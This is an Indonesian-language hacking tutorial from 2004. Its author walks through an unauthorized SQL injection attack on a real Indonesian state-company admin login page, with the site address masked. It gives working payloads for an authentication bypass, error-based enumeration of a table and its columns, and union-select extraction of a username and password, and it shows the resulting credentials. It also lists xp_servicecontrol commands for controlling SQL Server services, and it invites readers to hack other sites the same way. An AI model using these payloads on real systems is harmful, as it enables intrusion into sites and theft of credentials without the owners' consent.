

HACKING MENGGUNAKAN TEKNIK SQL INJECTION (LANJUTAN)

Author : Slamet Risnanto,ST.
E-Mail : it.dept@satriasejati.com

Sebelumnya penulis mohon maaf karena kesibukannya , Artikel lanjutan mengenai hacking baru bisa dikirimkan bulan Ontober 2004 , pada artikel ini , penulis masih membahas Hacking menngunakan teknik SQL Injection yang tentunya lanjutan dari artikel sebelumnya , hal ini dikarenakan banyaknya permintaan melalui email untuk membahasnya lebih dalam.

Dalam penyajian artikel ini , penulis menggunakan contoh nyata penerapan hacking menggunakan teknik SQL Injection dari salah satu situs di Indonesia yang tentunya alamat situs tersebut penulis samarkan.

Pada Tanggal 19 September 2004 , penulis mencoba mencari situs yang masih rentan terhadap bug SQL Injection dan beruntung mendapatkannya yaitu perusahaan BUMN dengan alamat situs www.alamatsitus.co.id/admin/login.asp , lagi lagi situs ini bermasalah dalam hal opsi login masuk ke web admin , pertama , penulis mencoba masuk menggunakan teknik yang biasa digunakan yaitu memasukan ' or '=' pada textbox user id passwordnya dan berhasil masuk sebagai admin , tentunya kita belum puas cuman bisa masuk saja dan merubah rubah informasi pada tampilan situs tersebut , kita ingin lebih dalam lagi yaitu table dan field apa yang ada disitus tersebut , mari kita mulai

Penulis mencoba mengetahui table dan field apa yang digunakan sebagai database untuk menyimpan data user dan password , penulis memanfaatkan pesan kesalahan yang terjadi setelah mengetik perintah ' **having 1=1**— pada user id dan password terserah dan muncul error sebagai berikut :

```
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_USER.NOMOR' is invalid in the select list because
it is not contained in an aggregate function and
```

there is no GROUP BY clause.

/admin/login.asp, line 7

Keluarlah nama field pertama kita !!!

Catat nama tabel : T_USER

Catat nama field : NOMOR

Dari informasi diatas kita sudah mendapatkan nama tablenya yaitu T_USER dan field pertamanya NOMOR , selanjutnya mencari field kedua dan seterusnya dengan mengetikan perintah **' group by T_USER.NOMOR having 1=1—** dan keluar error sebagai berikut

```
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
```

```
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
```

```
'T_USER.USERNAME' is invalid in the select list because
```

```
it is not contained in either an aggregate
```

```
function or the GROUP BY clause.
```

```
/admin/login.asp, line 7
```

Artinya itulah nama tabel dan field kedua kita.

Catat : T_USER.USERNAME

Kemudian kita cari field ke tiga :

' group by T_USER.NOMOR,T_USER.USERNAME having 1=1--

dan keluar pesan error:

```
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
```

```
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
```

```
'T_USER.PASSWORD' is invalid in the select list because
```

```
it is not contained in either an aggregate
```

```
function or the GROUP BY clause.
```

```
/admin/login.asp, line 7
```

Catat field ke tiga : T_USER.PASSWORD.

Dan lakukan mencari informasi field field yang ada sampai field yang terakhir , penulis mendapatkan field field seperti dibawah ini

- T_USER.NOMOR
- T_USER.USERNAME
- T_USER.PASSWORD
- T_USER.STATUS
- T_USER.AUTHORITY

Selajutnya penulis mencari username dan password yang sah untuk masuk tanpa menggunakan perintah SQL , perintahnya sebagai berikut

' union select min(USERNAME),1,1,1,1 from T_USER where USERNAME > 'a'—
artinya kita memilih minimum nama user yang lebih besar dari 'a' dan mencoba mengkonvert-nya ke tipe integer , Arti angka 1 sebanyak 4 kali itu adalah bahwa kita hanya memilih kolom USERNAME, dan mengabaikan 4 kolom yang lain. dan keluar pesan error :

```
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value 'kristian' to
a column of data type int.
/admin/login.asp, line 7
```

lihat :

varchar value 'kristian '

'kristian' itu adalah nama user di record yang terakhir dimasukkan, atau isi kolom username di record yang terakhir dimasukkan, Selanjutnya kita inject :

**' union select min(PASSWORD),1,1,1,1 from T_USER where USERNAME =
'kristian'--**

catatan : harus sebaris (tidak dipotong) dan keluar error :

```
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
```

error converting the nvarchar value 'passport' to a
column of data type int.
/admin/login.asp, line

Artinya kita berhasil !!! ,Kita dapatkan

- USERNAME = kristian
- PASSWORD = passport

Selanjutnya , kita bisa berselancar dengan menggunakan modifikasi perintah perintah SQL ,silahkan para pembaca untuk mengembangkan / memodifikasi sendiri sampai pembaca bisa meng-hack suatu situs dengan hanya mengetikan perintahnya di address bar di browser kita dan itu sangat memungkinkan dan memainkan service pada komputer dimana SQL Server berada.

Bandung , Oktober 2004
Slamet Risnanto,ST.

NB

Service service SQL Server

- *Menjalankan Service* : *exec master..xp_servicecontrol 'start', 'xxx*
- *Mem-Pause Service* : *exec master..xp_servicecontrol 'pause', 'xxx*
- *Menghentikan Service* : *exec master..xp_servicecontrol 'stop', 'xxx*